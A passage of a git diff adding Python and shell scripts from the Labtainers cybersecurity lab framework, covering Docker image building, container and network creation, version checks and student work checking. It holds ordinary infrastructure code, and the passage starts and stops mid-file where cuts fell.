self.containers[name].registry = self.labtainer_config.test_registry + elif self.containers[name].registry == None: + self.containers[name].registry = self.labtainer_config.default_registry + if self.clone_count is not None and self.containers[name].client == 'yes': + if self.containers[name].clone is not None: + self.logger.ERROR('Cannot specify clone_count for container having CLONE set in the start.config file') + exit(1) + else: + self.containers[name].clone_copies = self.clone_count + if self.containers[name].clone is not None: + self.container[name].clone_copies = self.contaienrs[name].clone + + def show_current_settings(self): + bar = "="*80 + print bar + print("Global configuration settings:") + print bar + for key, val in self.__dict__.items(): + if type(val) == type({}): val = len(val) + print "\t" + str(key) + ": " + str(val) + print "\n"+bar + print("Network configuration settings:") + print bar + for name, network in self.subnets.items(): + print "name: " + name + for key, val in network.__dict__.items(): + if type(val) == type({}): val = len(val) + print "\t" + str(key) + ": " + str(val) + print "" + print "\n"+bar + print("Container configuration settings:") + print bar + for name, container in self.containers.items(): + print "name: " + name + for key, val in container.__dict__.items(): + if type(val) == type({}): val = len(val) + print "\t" + str(key) + ": " + str(val) + print "" + +if __name__ == '__main__': + start_config = ParseStartConfig(*sys.argv[1:]) + start_config.show_current_settings() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/VersionInfo.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/VersionInfo.py new file mode 100644 index 000000000..faf26d103 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/VersionInfo.py @@ -0,0 +1,48 @@ +import subprocess +import os +def getFrom(dockerfile, registry): + ''' given a docker file and registry, get the base image name, qualified by the registry ''' + image_name = None + with open(dockerfile) as fh: + for line in fh: + if line.strip().startswith('FROM'): + parts = line.strip().split() + image_name = parts[1] + image_name = image_name.replace("$registry", registry).strip() + if image_name.endswith('.xtra'): + image_name = image_name[:len(image_name)-5] + break + ''' Remove xtra suffix if it exists. We are only interested in the big base ''' + return image_name + +def getImageId(image, quiet): + ''' given an image name, use docker to determine the image ID present on this installation ''' + #cmd = 'docker images | grep %s' % image + cmd = 'docker images -f=reference="%s:latest" -q ' % image + ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[1]) > 0: + print(output[1]) + exit(1) + if len(output[0]) > 0: + return output[0].strip() + elif quiet: + cmd = 'docker pull %s' % image + os.system(cmd) + else: + print('VersionInfo, getImageId: no image found for %s' % image) + print('**************************************************') + print('* This lab will require a download of *') + print('* several hundred megabytes. *') + print('**************************************************') + confirm = str(raw_input('Continue? (y/n)')).lower().strip() + if confirm != 'y': + print('Exiting lab') + exit(0) + else: + print('Please wait for download to complete...') + cmd = 'docker pull %s' % image + os.system(cmd) + print('Download has completed. Wait for lab to start.') + return getImageId(image, quiet) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/buildImage.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/buildImage.sh new file mode 100755 index 000000000..6054b3306 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/buildImage.sh @@ -0,0 +1,137 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END + + +lab=$1 +imagename=$2 +labimage=$lab.$imagename.student +user_name=$3 +user_password=$4 +force_build=$5 +LAB_TOP=$6 +APT_SOURCE=$7 +REGISTRY=$8 +VERSION=$9 +shift 1 +NO_PULL=$9 +#------------------------------------V +if [ "$#" -ne 9 ]; then + echo "Usage: buildImage.sh " + echo " is either true or false" + echo " is a path to the trunk/labs directory" + echo " is the host to use in apt/sources.list" + echo " is a docker registry" + echo " is the framework version needed to run this lab" + echo " is 'True' to avoid pulling images, e.g., no internet acess" + exit +fi + +#------------------------------------^ + +echo "Labname is $lab with image name $imagename" + +LAB_DIR=$LAB_TOP/$lab +if [ ! -d $LAB_DIR ]; then + echo "$LAB_DIR not found as a lab directory" + exit +fi +#------------------------------------V +#echo "force_build is $force_build" +if [ $force_build == "False" ]; then + echo docker pull $REGISTRY/$labimage + docker pull $REGISTRY/$labimage + result=$? +fi +if [ "$result" == "0" ] && [ $force_build = "False" ]; then + imagecheck="YES" +else + echo "Please wait while the lab is built" + #sleep 3 + LABIMAGE_DIR=$LAB_TOP/$lab/$imagename/ + if [ ! -d $LABIMAGE_DIR ]; then + echo "$LABIMAGE_DIR not found" + exit + fi + ORIG_PWD=`pwd` + echo $ORIG_PWD + LAB_TAR=$LAB_DIR/$labimage.tar.gz + SYS_TAR=$LAB_DIR/sys_$labimage.tar.gz + TMP_DIR=/tmp/$labimage + rm -rf $TMP_DIR + mkdir $TMP_DIR + mkdir $TMP_DIR/.local + mkdir $TMP_DIR/.local/bin + cp -pr $LAB_DIR/config $TMP_DIR/.local/ 2>>/dev/null + #cp -pr lab_bin/ $TMP_DIR/.local/bin 2>>/dev/null + cp -p $LAB_DIR/bin/* $TMP_DIR/.local/bin 2>>/dev/null + chmod a+x $TMP_DIR/.local/bin/* 2>>/dev/null + cp -p $LABIMAGE_DIR/_bin/* $TMP_DIR/.local/bin 2>>/dev/null + chmod a+x $TMP_DIR/.local/bin/* + cp -pr $LABIMAGE_DIR/. $TMP_DIR 2>>/dev/null + # ugly! + rm -fr $TMP_DIR/_bin + rm -fr $TMP_DIR/_system + rm -fr $TMP_DIR/home_tar + rm -fr $TMP_DIR/sys_tar + mkdir $TMP_DIR/.local/result + if [ -d $LABIMAGE_DIR/_system ]; then + cd $LABIMAGE_DIR/_system + tar --atime-preserve -czvf $SYS_TAR . > $TMP_DIR/.local/sys_manifest.list + else + echo nothing at $LABIMAGE_DIR/_system + # make empty tar + mkdir $LABIMAGE_DIR/_system + cd -p $LABIMAGE_DIR/_system + tar --atime-preserve -czvf $SYS_TAR . + fi + #cd $ORIG_PWD/lab_sys + #tar --append --file=$SYS_TAR * + #gzip -f $SYS_TAR + # do after sys so we get manifest + cd $TMP_DIR + tar --atime-preserve -zcvf $LAB_TAR . +fi +#---------------------------------------------------------------^ +cd $LAB_TOP +dfile=Dockerfile.$labimage +#---------------------------------V +result=0 +pull="--pull" +if [ "$NO_PULL" == "True" ]; then + pull='' +fi +if [ ! -z "$imagecheck" ] && [ $force_build = "False" ]; then + echo "use exising image" +else + echo docker build --build-arg lab=$labimage --build-arg labdir=$lab --build-arg imagedir=$imagename \ + --build-arg user_name=$user_name --build-arg password=$user_password --build-arg apt_source=$APT_SOURCE \ + --build-arg https_proxy=$HTTP_PROXY --build-arg http_proxy=$HTTP_PROXY \ + --build-arg HTTP_PROXY=$HTTP_PROXY --build-arg HTTPS_PROXY=$HTTP_PROXY \ + --build-arg NO_PROXY=$NO_PROXY --build-arg no_proxy=$NO_PROXY \ + --build-arg registry=$REGISTRY --build-arg version=$VERSION \ + $pull -f $LAB_DIR/dockerfiles/$dfile -t $labimage . + docker build --build-arg lab=$labimage --build-arg labdir=$lab --build-arg imagedir=$imagename \ + --build-arg user_name=$user_name --build-arg password=$user_password --build-arg apt_source=$APT_SOURCE \ + --build-arg https_proxy=$HTTP_PROXY --build-arg http_proxy=$HTTP_PROXY \ + --build-arg HTTP_PROXY=$HTTP_PROXY --build-arg HTTPS_PROXY=$HTTP_PROXY \ + --build-arg NO_PROXY=$NO_PROXY --build-arg no_proxy=$NO_PROXY \ + --build-arg registry=$REGISTRY --build-arg version=$VERSION \ + $pull -f $LAB_DIR/dockerfiles/$dfile -t $labimage . + result=$? +fi +#---------------------------------^ +echo "removing temporary $dfile, reference original in $LAB_DIR/dockerfiles/$dfile" +#rm $LABIMAGE_DIR +cd $ORIG_PWD +if [ $result != 0 ]; then + echo "Error in docker build result $result" + exit 1 +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/checkwork b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/checkwork new file mode 100755 index 000000000..175765c6b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/checkwork @@ -0,0 +1,101 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + +''' +Stop a given Labtainers lab. If no arguments are given, then all running +labs will be stopped. +''' + +import sys +import os +import labutils +import logging +import LabtainerLogging +import CurrentLab +import argparse +import imp +sys.path.append('../labtainer-instructor/bin') +sys.path.append('../labtainer-instructor/assess_bin') + +gradelab = imp.load_source('gradelab', '../labtainer-instructor/bin/gradelab') + + +# Usage: stop.py +# Arguments: +# - the lab to stop +def main(): + parser = argparse.ArgumentParser(description='Check your work for a lab. If no lab name is given, the currently running lab is checked') + parser.add_argument('lab', nargs='?') + args = parser.parse_args() + labname = None + lablist = [] + lablist = labutils.GetListRunningLab() + if args.lab is not None: + labname = args.lab + if labname not in lablist: + print('%s lab is not running, looking for previous results...' % args.lab) + here=os.getcwd() + os.chdir('../labtainer-instructor') + gradelab.doGrade(labname, False, False, True, False) + os.chdir(here) + sys.exit(0) + labutils.logger = LabtainerLogging.LabtainerLogging("checkwork.log", labname, "../../config/labtainer.config") + else: + labutils.logger = LabtainerLogging.LabtainerLogging("checkwork.log", 'searching', "../../config/labtainer.config") + if len(lablist) > 1: + print('multiple labs running, specify the name of the lab you want to check:\n\t checkwork ') + sys.exit(0) + elif len(lablist) == 0: + print('No labs are currently running.') + sys.exit(0) + else: + labname = lablist[0] + + labutils.logger.INFO("Begin logging checkwork for %s lab" % labname) + + lab_path = os.path.join(os.path.abspath('../../labs'), labname) + labtainer_config, start_config = labutils.GetBothConfigs(lab_path, labutils.logger) + if labtainer_config.checkwork != 'yes': + print('Checking own work not supported for this deployment of Labtainers') + sys.exit(0) + if start_config.checkwork != 'yes': + print('Checking own work not supported for Lab') + sys.exit(0) + # Pass 'False' to ignore_stop_error (i.e., do not ignore error) + has_running_containers, running_containers_list = labutils.GetRunningContainersList() + if has_running_containers: + has_lab_role, labnamelist = labutils.GetRunningLabNames(running_containers_list) + if has_lab_role: + if labname not in labnamelist: + labutils.logger.ERROR("No lab named %s in currently running labs!" % labname) + sys.exit(1) + else: + labutils.logger.ERROR("Student is not running any labs") + sys.exit(1) + else: + print("No labs are running") + labutils.logger.DEBUG("No labs are running") + sys.exit(1) + current_lab = CurrentLab.CurrentLab() + clone_count = current_lab.get('clone_count') + servers = current_lab.get('servers') + labutils.StopLab(lab_path, False, servers=servers, clone_count=clone_count, keep_running=True) + here=os.getcwd() + os.chdir('../labtainer-instructor') + gradelab.doGrade(labname, False, False, True, False, copy_json = False) + os.chdir(here) + + + return 0 + +if __name__ == '__main__': + sys.exit(main()) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/labtainer b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/labtainer new file mode 100755 index 000000000..cef856480 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/labtainer @@ -0,0 +1,2 @@ +#!/bin/bash +start.py $@ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/labtainer-docker b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/labtainer-docker new file mode 100755 index 000000000..7fb7e870b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/labtainer-docker @@ -0,0 +1,12 @@ +#!/bin/sh +# +# Start the Labtainer container from which to run Labtainers. Experimental. +# + +set -x + +XSOCK=/tmp/.X11-unix +XAUTH=/tmp/.docker.xauth +xauth nlist :0 | sed -e 's/^..../ffff/' | xauth -f $XAUTH nmerge - + +docker run --rm -i -t --name docker0 -v /var/run/docker.sock:/var/run/docker.sock -v $XSOCK:$XSOCK -v $XAUTH:$XAUTH -e XAUTHORITY=$XAUTH labtainer.master:latest /bin/bash diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/labutils.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/labutils.py new file mode 100644 index 000000000..00a0aff74 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-student/bin/labutils.py @@ -0,0 +1,2715 @@ +import filecmp +import glob +import json +import md5 +import os +import shutil +import re +import subprocess +import sys +import time +import zipfile +import ParseStartConfig +import ParseLabtainerConfig +import datetime +import getpass +import socket +import fcntl +import struct +import threading +import LabtainerLogging +import LabCount +import shlex +import stat +import traceback +import CheckTars +import BigFiles +import BigExternal +import calendar +import string +import errno +try: + from dateutil.parser import parse +except: + pass + +instructor_cwd = os.getcwd() +student_cwd = instructor_cwd.replace('labtainer-instructor', 'labtainer-student') +if student_cwd.endswith('labtainer-student'): + sys.path.append(student_cwd+"/lab_bin") +else: + # assume from labtainer/distrib + print('is distrib %s' % os.getcwd()) + sys.path.append('../scripts/labtainer-student/lab_bin') +import ParameterParser +import InspectLocalReg +import InspectRemoteReg + + +''' logger is defined in whatever script that invokes the labutils ''' +global logger +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + + +# Error code returned by docker inspect +SUCCESS=0 +FAILURE=1 + +''' + Version number embeded as a label into each docker image. + Current framework version (per below) must be at least + what is found in the image. This is only used for + framework/image compatibility, to tell a user that a given + lab cannot be run without doing an update. +''' +framework_version = 3 + +# Create a directory path based on input path +# Note: Do not create if the input path already exists as a directory +# If input path is a file, remove the file then create directory +def createDirectoryPath(input_path): + # if it exist as a directory, do not delete (only delete if it is a file) + if os.path.exists(input_path): + # exists but is not a directory + if not os.path.isdir(input_path): + # remove file then create directory + os.remove(input_path) + os.makedirs(input_path) + #else: + # logger.DEBUG("input_path directory (%s) exists" % input_path) + else: + # does not exists, create directory + os.makedirs(input_path) + +def is_valid_lab(lab_path): + # Lab path must exist and must be a directory + if os.path.exists(lab_path) and os.path.isdir(lab_path): + # Assume it is valid lab then + logger.DEBUG("lab_path directory (%s) exists" % lab_path) + else: + logger.ERROR("Invalid lab! lab_path directory (%s) does not exist!" % lab_path) + #traceback.print_exc() + #traceback.print_stack() + sys.exit(1) + + +def getFirstUnassignedIface(n=1): + ''' get the nth network iterface that lacks an assigned IP address ''' + iflist = os.listdir('/sys/class/net') + for iface in sorted(iflist): + count = 1 + ip = get_ip_address(iface) + if ip is None and n == count: + return iface + count += 1 + return None + +def get_ip_address(ifname): + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sp = struct.pack('256s', ifname[:15]) + try: + fc = fcntl.ioctl(s.fileno(), 0x8915, sp) + except: + return None + return socket.inet_ntoa(fc[20:24]) + +def get_hw_address(ifname): + #print('get_hw_address for %s' % ifname) + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', ifname[:15])) + return ':'.join(['%02x' % ord(char) for char in info[18:24]]) + + +def get_new_mac(ifname): + ''' use last two byte of mac address to generate a new mac + intended for use on macvlan ''' + # TBD move this hardcoded prefix into some config file? + preface = '02:43:ac:12' + my_mac = get_hw_address(ifname) + parts = my_mac.split(':') + p1 = parts[4] + p2 = parts[5] + full = '%s:%s:%s' % (preface, p1, p2) + return full + +def isalphadashscore(name): + # check name - alphanumeric,dash,underscore + return re.match(r'^[a-zA-Z0-9_-]*$', name) + +# get docker0 IP address +def getDocker0IPAddr(): + #return get_ip_address('docker0') + cmd = "docker inspect -f '{{ .NetworkSettings.IPAddress }}' docker0" + ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[1].strip()) == 0: + ''' is a docker0 master container ''' + if len(output[0].strip()) > 0: + return output[0].strip() + else: + return None + else: + return get_ip_address('docker0') + +# Parameterize my_container_name container +def ParameterizeMyContainer(mycontainer_name, container_user, container_password, lab_instance_seed, user_email, labname, lab_path, name, image_info): + retval = True + ''' copy lab_bin and lab_sys files into .local/bin and / respectively ''' + CopyLabBin(mycontainer_name, container_user, lab_path, name, image_info) + cmd_path = '/home/%s/.local/bin/parameterize.sh' % (container_user) + if container_password == "": + container_password = container_user + + version = '0' + if image_info is None or image_info.version is None: + ''' is a build, version -1 ''' + version = '-1' + else: + #print(str(image_info)) + if image_info.version is not None: + version = image_info.version + command=['docker', 'exec', '-i', mycontainer_name, cmd_path, container_user, container_password, lab_instance_seed, user_email, labname, mycontainer_name, version ] + logger.DEBUG("About to call parameterize.sh with : %s" % str(command)) + #return retval + child = subprocess.Popen(command, shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + error_string = child.stderr.read() + if len(error_string) > 0: + for line in error_string.splitlines(True): + if not line.startswith('[sudo]') and "LC_ALL" not in line and "ENCRYPT_METHOD" not in line: + logger.ERROR('ParameterizeMyContainer %s' % line) + retval = False + else: + logger.DEBUG(line) + out_string = child.stdout.read().strip() + if len(out_string) > 0: + logger.DEBUG('ParameterizeMyContainer %s' % out_string) + return retval + +# Start my_container_name container +def StartMyContainer(mycontainer_name): + retval = True + if IsContainerRunning(mycontainer_name): + logger.ERROR("Container %s is already running!\n" % (mycontainer_name)) + sys.exit(1) + command = "docker start %s" % mycontainer_name + logger.DEBUG("Command to execute is (%s)" % command) + ps = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[1]) > 0: + logger.ERROR('StartMyContainer %s' % output[1]) + logger.ERROR('command was %s' % command) + retval = False + if len(output[0]) > 0: + logger.DEBUG(output[0]) + return retval + +def AllContainersCreated(container): + clone_names = GetContainerCloneNames(container) + for clone_full in clone_names: + if not IsContainerCreated(clone_full): + return False + return True + +# Check to see if my_container_name container has been created or not +def IsContainerCreated(mycontainer_name): + retval = True + command = "docker inspect -f {{.Created}} --type container %s" % mycontainer_name + logger.DEBUG("Command to execute is (%s)" % command) + result = subprocess.call(shlex.split(command), stderr=subprocess.PIPE, stdout=subprocess.PIPE) + if result == FAILURE: + retval = False + logger.DEBUG("Result of subprocess.call for %s IsContainerCreated is %s (1=>FAILURE)" % (mycontainer_name, result)) + return retval + +def GetNetParam(start_config, mysubnet_name, mysubnet_ip, mycontainer_name): + ''' return the network address parameter and mac parameter for use in creating a container + or connecting the container to a network. Parse out mac address suffix if it exists, + and adjust the ip address based on clone numbers if the address has a "+CLONE" suffix ''' + mac = '' + ip_param = '' + if ':' in mysubnet_ip: + mysubnet_ip, mac_addr = mysubnet_ip.split(':',1) + mac = '--mac-address=%s' % mac_addr + elif mysubnet_ip.lower() == 'auto_mac': + mac_addr = get_new_mac(start_config.subnets[mysubnet_name].macvlan_use) + mac = '--mac-address=%s' % mac_addr + if not mysubnet_ip.lower().startswith('auto'): + if '+' in mysubnet_ip: + ip, clone_type = mysubnet_ip.split('+') + if clone_type.lower() == 'clone' or start_config.multi_user == 'clones': + name, role = mycontainer_name.rsplit('.',1) + dumb, offset = name.rsplit('-', 1) + try: + offset_int = int(offset) + except: + logger.ERROR('expected use of clone, but did not find clone counter in %s' % mycontainer_name) + exit(1) + ip_start, ip_suffix = ip.rsplit('.', 1) + ip_suffix_int = int(ip_suffix) + new_suffix = ip_suffix_int + offset_int - 1 + if new_suffix > 254: + logger.ERROR('IP address adjusted to invalid value %d %s' % (new_suffix, mysubnet_ip)) + exit(1) + ip_param = '--ip=%s.%d' % (ip_start, new_suffix) + elif clone_type.lower() == 'clone_mac' and start_config.multi_user == 'client': + # assuming we are a multiuser client + mac_addr = get_new_mac(start_config.subnets[mysubnet_name].macvlan_use) + mac = '--mac-address=%s' % mac_addr + + else: + print('ip %s' % ip) + ip_param = '--ip=%s' % ip + + else: + ip_param = '--ip=%s' % mysubnet_ip + return ip_param, mac + +def ConnectNetworkToContainer(start_config, mycontainer_name, mysubnet_name, mysubnet_ip): + logger.DEBUG("Connecting more network subnet to container %s" % mycontainer_name) + ip_param, dumb = GetNetParam(start_config, mysubnet_name, mysubnet_ip, mycontainer_name) + command = "docker network connect %s %s %s" % (ip_param, mysubnet_name, mycontainer_name) + logger.DEBUG("Command to execute is (%s)" % command) + result = subprocess.call(shlex.split(command), stderr=subprocess.PIPE, stdout=subprocess.PIPE) + logger.DEBUG("Result of subprocess.call ConnectNetworkToContainer is %s" % result) + return result + +def DisconnectNetworkFromContainer(mycontainer_name, mysubnet_name): + logger.DEBUG("Disconnecting more network subnet to container %s" % mycontainer_name) + command = "docker network disconnect %s %s" % (mysubnet_name, mycontainer_name) + logger.DEBUG("Command to execute is (%s)" % command) + ps = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + result = 0 + if len(output[1]) > 0: + logger.ERROR(output[1]) + result = 1; + return result + +def SetXhost(): + ''' allow container root users to access xserver ''' + cmd = 'xhost' + ps = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if not 'LOCAL:' in output[0]: + cmd = 'xhost local:root' + os.system(cmd) + +def GetContainerCloneNames(container): + ''' populate dictionary with hostname/container names based on the quantity of clones + that are to be created ''' + retval = {} + if container.clone_copies is None or container.clone == 1: + retval[container.full_name] = container.hostname + else: + try: + count = int(container.clone_copies) + except: + logger.ERROR('bad clone value for %s' % container.hostname) + exit(1) + name, role = container.full_name.rsplit('.', 1) + for i in range(1, count+1): + hostname = '%s-%d' % (container.hostname, i) + fullname = '%s-%d.%s' % (name, i, role) + retval[fullname] = hostname + return retval + +def GetDNS(): + dns_param = '' + dns_param = '--dns=8.8.8.8' + cmd="nmcli dev show | grep 'IP4.DNS'" + ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[0]) > 0: + for line in output[0].splitlines(True): + dns_param = '--dns=%s %s' % (line.split()[1].strip(), dns_param) + ''' just take first ''' + break + return dns_param + +def GetX11SSH(): + ''' EXPERIMENTAL, not used ''' + ip = '192.168.1.222' + xauth = '/tmp/.docker.xauth' + #display = os.getenv('DISPLAY') + display = ':10' + cmd = 'xauth list %s' % display + ps = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[0]) > 0: + parts = output[0].strip().split() + magic_cookie = parts[2] + else: + print('could not find magic cookie') + exit(1) + x11_port = display.split(':')[1] + #print('x11_port %s' % x11_port) + cmd = 'xauth -f /tmp/.docker.xauth add %s:%s . %s' % (ip, x11_port, magic_cookie) + ps = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE,stderr=subprocess.PIPE) + os.chmod(xauth, 0777) + retval = '--env="%s:%s" -v %s:%s -e XAUTHORITY="%s"' % (ip, x11_port, xauth, xauth, xauth) + #retval = '--env="DISPLAY" -v %s:%s -e XAUTHORITY="%s"' % (xauth, xauth, xauth) + return retval + +def isUbuntuSystemd(image_name): + done = False + retval = False + #print('check if %s is systemd' % image_name) + cmd = "docker inspect -f '{{json .Config.Labels.base}}' --type image %s" % image_name + #print('lab container cmd is %s' % cmd) + ps = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[0].strip()) > 0: + logger.DEBUG('base %s' % output[0]) + if output[0].strip() == 'null': + base = image_name + else: + base = output[0].rsplit('.', 1)[0]+'"' + cmd = "docker history --no-trunc %s" % base + ps = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + for line in output[0].splitlines(): + if 'Labtainer base image from ubuntu-systemd' in line: + retval = True + break + + return retval + +def CreateSingleContainer(labtainer_config, start_config, container, mysubnet_name=None, mysubnet_ip=None, quiet=False): + ''' create a single container -- or all clones of that container per the start.config ''' + logger.DEBUG("Create Single Container for %s" % container.name) + retval = True + #image_exists, result, new_image_name = ImageExists(container.image_name, container.registry) + image_info = imageInfo(container.image_name, container.registry, labtainer_config, quiet=quiet) + start_script = container.script + if image_info is None: + logger.ERROR('Could not find image for %s' % container.image_name) + retval = False + else: + new_image_name = container.image_name + if not image_info.local_build: + new_image_name = '%s/%s' % (container.registry, container.image_name) + if not image_info.local: + dockerPull(container.registry, container.image_name) + docker0_IPAddr = getDocker0IPAddr() + logger.DEBUG("getDockerIPAddr result (%s)" % docker0_IPAddr) + volume='' + ubuntu_systemd = isUbuntuSystemd(new_image_name) + if container.script == '' or ubuntu_systemd: + logger.DEBUG('Container %s is systemd' % (new_image_name)) + ''' a systemd container, centos or ubuntu? ''' + if ubuntu_systemd: + start_script = '' + #volume='--security-opt seccomp=confined --tmpfs /run --tmpfs /run/lock -v /sys/fs/cgroup:/sys/fs/cgroup:ro' + volume='--security-opt seccomp=unconfined --tmpfs /run --tmpfs /run/lock -v /sys/fs/cgroup:/sys/fs/cgroup:ro' + cmd = 'docker run --rm --privileged -v /:/host %s setup' % new_image_name + logger.DEBUG('cmd is %s' % cmd) + ps = subprocess.Popen(shlex.split(cmd), stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + logger.DEBUG('back from docker run, output %s' % (output[0])) + if len(output[1]) > 0: + logger.DEBUG('back from docker run, error %s' % (output[1])) + + else: + volume='-v /sys/fs/cgroup:/sys/fs/cgroup:ro' + if container.x11.lower() == 'yes': + #volume = '-e DISPLAY -v /tmp/.Xll-unix:/tmp/.X11-unix --net=host -v$HOME/.Xauthority:/home/developer/.Xauthority' + volume = volume+' --env="DISPLAY" --volume="/tmp/.X11-unix:/tmp/.X11-unix:rw"' + logger.DEBUG('container using X11') + add_hosts = '' + logger.DEBUG('dumb debug message') + for item in container.add_hosts: + if ':' not in item: + if item in start_config.lan_hosts: + for entry in start_config.lan_hosts[item]: + add_this = '--add-host %s ' % entry + add_hosts += add_this + else: + logger.ERROR('ADD-HOST entry in start.config missing colon: %s' % item) + logger.ERROR('sytax: ADD-HOST :') + return + else: + add_this = '--add-host %s ' % item + add_hosts += add_this + add_host_param = '--add-host my_host:%s %s' % (docker0_IPAddr, add_hosts) + dns_param = GetDNS() + priv_param = '' + if container.no_privilege != 'yes': + priv_param = '--privileged' + + mac = '' + subnet_ip = '' + network_param = '' + if mysubnet_name is not None: + network_param = '--network=%s' % mysubnet_name + + multi_user = '' + if container.client == 'yes' and start_config.multi_user is not None: + #print('use putenv to set %s' % start_config.multi_user) + os.putenv("DISTRIBUTED_LABTAINER", start_config.multi_user) + ''' why does putenv not set the value? ''' + os.environ['DISTRIBUTED_LABTAINER'] = start_config.multi_user + multi_user = '--env=DISTRIBUTED_LABTAINER' + + + clone_names = GetContainerCloneNames(container) + for clone_fullname in clone_names: + clone_host = clone_names[clone_fullname] + if mysubnet_name is not None: + subnet_ip, mac = GetNetParam(start_config, mysubnet_name, mysubnet_ip, clone_fullname) + #createsinglecommand = "docker create -t %s --ipc host --cap-add NET_ADMIN %s %s %s %s %s --name=%s --hostname %s %s %s %s %s" % (dns_param, + createsinglecommand = "docker create -t %s --cap-add NET_ADMIN %s %s %s %s %s --name=%s --hostname %s %s %s %s %s" % (dns_param, + network_param, subnet_ip, mac, priv_param, add_host_param, clone_fullname, clone_host, volume, + multi_user, new_image_name, start_script) + logger.DEBUG("Command to execute was (%s)" % createsinglecommand) + ps = subprocess.Popen(shlex.split(createsinglecommand), stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if len(output[1]) > 0: + logger.DEBUG('command was %s' % createsinglecommand) + if 'Cannot connect to the Docker daemon' in output[1]: + print('\n\nERROR: Docker seems not to be running.') + print('Try "sudo systemctl restart docker"\n\n') + logger.ERROR('CreateSingleContainer %s' % output[1]) + retval = False + break + #print('result of create %s' % output[0]) + + return retval + +def GetIface(ip): + cmd = 'ifconfig | grep -B1 "inet addr:%s" | awk \'$1!="inet" && $1!="--" {print $1}\'' % ip + ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + return output[0].strip() + +def CheckPromisc(iface): + cmd = "netstat -i | grep enp0s8 | awk '{print $12}'" + ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE) + output = ps.communicate() + if 'P' in output[0]: + return True + else: + return False + +# Create SUBNETS +def CreateSubnets(start_config): + subnets = start_config.subnets + #for (subnet_name, subnet_network_mask) in networklist.iteritems(): + for subnet_name in subnets: + subnet_network_mask = subnets[subnet_name].mask + logger.DEBUG("subnet_name is %s" % subnet_name) + logger.DEBUG("subnet_network_mask is %s" % subnet_network_mask) + + command = "docker network inspect %s" % subnet_name + logger.DEBUG("Command to execute is (%s)" % command) + inspect_result = subprocess.call(shlex.split(command), stderr=subprocess.PIPE, stdout=subprocess.PIPE) + logger.DEBUG("Result of subprocess.call CreateSubnets docker network inspect is %s" % inspect_result) + if inspect_result == FAILURE: + # Fail means does not exist - then we can create + macvlan = '' + ip_range = '' + net_type = 'bridge' + if subnets[subnet_name].macvlan_use is not None: + #iface = GetIface(subnets[subnet_name].macvlan) + iface = subnets[subnet_name].macvlan_use + if iface is None or len(iface) == 0: + logger.ERROR("No IP assigned to network %s, assign an ip on Linux host to enable use of macvlan with Labtainers") + exit(1) + if not 